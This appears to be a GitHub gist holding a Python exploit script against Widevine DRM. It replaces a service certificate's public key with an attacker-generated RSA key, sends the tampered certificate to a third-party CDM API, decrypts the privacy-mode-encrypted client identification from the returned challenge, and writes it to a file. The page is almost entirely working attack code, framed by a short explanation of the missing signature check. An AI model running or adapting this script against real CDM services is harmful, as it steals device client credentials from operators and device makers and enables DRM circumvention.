Last active
July 27, 2024 10:17
-
-
Save rlaphoenix/74acabdd7269a21845e18b621c5860ef to your computer and use it in GitHub Desktop.
Recover Client ID from most Widevine License Servers, CDM Implementations, and CDM APIs (if forcing privacy mode)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
Super trivial 'exploit' to Recover Client IDs from Challenges where it's Encrypted by Privacy Mode. | |
This can be done on 90% of third-party CDM Implementations, APIs, Proxies. It might work on some | |
license servers which they use their own certificate, but only if they forget to verify the signature | |
of the service certificate. So this wont work on any License Server that proxies to Google's Server. | |
The attack effectively boils down to the missing verification of Service Certificate signatures. | |
So just replace the public key of a service cert with one you have the private key for, and then | |
give it that. Now you can decrypt. | |
https://github.com/rlaphoenix/pywidevine is protected from such an attack. | |
""" | |
import base64 | |
import requests | |
from Crypto.Cipher import AES, PKCS1_OAEP | |
from Crypto.PublicKey import RSA | |
from Crypto.Util import Padding | |
from pywidevine.license_protocol_pb2 import SignedMessage, SignedDrmCertificate, DrmCertificate, LicenseRequest, ClientIdentification | |
# gen rsa key | |
mitm_key = RSA.generate(2048) | |
# load service cert | |
service_cert = base64.b64decode( | |
"""CAUSwwUKvQIIAxIQ5US6QAvBDzfTtjb4tU/7QxiH8c+TBSKOAjCCAQoCggEBAObzvlu2hZRsapAPx4A | |
a4GUZj4/GjxgXUtBH4THSkM40x63wQeyVxlEEo1D/T1FkVM/S+tiKbJiIGaT0Yb5LTAHcJEhODB40TXlwP | |
fcxBjJLfOkF3jP6wIlqbb6OPVkDi6KMTZ3EYL6BEFGfD1ag/LDsPxG6EZIn3k4S3ODcej6YSzG4TnGD0sz | |
j5m6uj/2azPZsWAlSNBRUejmP6Tiota7g5u6AWZz0MsgCiEvnxRHmTRee+LO6U4dswzF3Odr2XBPD/hIAt | |
p0RX8JlcGazBS0GABMMo2qNfCiSiGdyl2xZJq4fq99LoVfCLNChkn1N2NIYLrStQHa35pgObvhwi7ECAwE | |
AAToQdGVzdC5uZXRmbGl4LmNvbRKAA4TTLzJbDZaKfozb9vDv5qpW5A/DNL9gbnJJi/AIZB3QOW2veGmKT | |
3xaKNQ4NSvo/EyfVlhc4ujd4QPrFgYztGLNrxeyRF0J8XzGOPsvv9Mc9uLHKfiZQuy21KZYWF7HNedJ4qp | |
Ae6gqZ6uq7Se7f2JbelzENX8rsTpppKvkgPRIKLspFwv0EJQLPWD1zjew2PjoGEwJYlKbSbHVcUNygplaG | |
mPkUCBThDh7p/5Lx5ff2d/oPpIlFvhqntmfOfumt4i+ZL3fFaObvkjpQFVAajqmfipY0KAtiUYYJAJSbm2 | |
DnrqP7+DmO9hmRMm9uJkXC2MxbmeNtJHAHdbgKsqjLHDiqwk1JplFMoC9KNMp2pUNdX9TkcrtJoEDqIn3z | |
X9p+itdt3a9mVFc7/ZL4xpraYdQvOwP5LmXj9galK3s+eQJ7bkX6cCi+2X+iBmCMx4R0XJ3/1gxiM5LiSt | |
ibCnfInub1nNgJDojxFA3jH/IuUcblEf/5Y0s1SzokBnR8V0KbA==""" | |
) | |
# replace public key | |
signed_message = SignedMessage() | |
signed_message.ParseFromString(service_cert) | |
signed_drm_certificate = SignedDrmCertificate() | |
signed_drm_certificate.ParseFromString(signed_message.msg) | |
drm_certificate = DrmCertificate() | |
drm_certificate.ParseFromString(signed_drm_certificate.drm_certificate) | |
drm_certificate.public_key = mitm_key.public_key().export_key("DER") | |
# re-serialize | |
signed_drm_certificate.drm_certificate = drm_certificate.SerializeToString() | |
signed_message.msg = signed_drm_certificate.SerializeToString() | |
service_cert = signed_message.SerializeToString() | |
# call api to get challenge with our new service cert | |
r = requests.post( | |
url="http://x.x.x.x:69420/", | |
json={ | |
"method": "GetChallenge", | |
"params": { | |
"method": "GetChallenge", | |
"init": "AAAAW3Bzc2gAAAAA7e+LqXnWSs6jyCfc1R0h7QAAADsIARIQ62dqu8s0Xpa7z2FmMPGj2hoNd2lkZXZpbmVfdGVzdCIQZmtqM2xqYVNkZmFsa3IzaioCSEQyAA==", | |
"cert": base64.b64encode(service_cert).decode(), | |
"raw": False, | |
"licensetype": "STREAMING", | |
"device": "the_api_device" | |
}, | |
"token": "secret_key" | |
} | |
).json() | |
challenge = base64.b64decode(r["message"]["challenge"]) | |
# parse the challenge | |
signed_message = SignedMessage() | |
signed_message.ParseFromString(challenge) | |
license_request = LicenseRequest() | |
license_request.ParseFromString(signed_message.msg) | |
# get encrypted client id data | |
enc_client_id = license_request.encrypted_client_id | |
# decrypt the privacy key with our private key pair to the service cert public key | |
dec_privacy_key = PKCS1_OAEP. \ | |
new(mitm_key). \ | |
decrypt(enc_client_id.encrypted_privacy_key) | |
# decrypt client id with the decrypted privacy key | |
dec_client_id_data = AES. \ | |
new(dec_privacy_key, AES.MODE_CBC, enc_client_id.encrypted_client_id_iv). \ | |
decrypt(enc_client_id.encrypted_client_id) | |
dec_client_id_data = Padding.unpad(dec_client_id_data, 16) | |
# parse the decrypted client id | |
client_id = ClientIdentification() | |
client_id.ParseFromString(dec_client_id_data) | |
print(client_id) | |
# save | |
client_id = client_id.SerializeToString() | |
open("client_id.bin", "wb").write(client_id) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment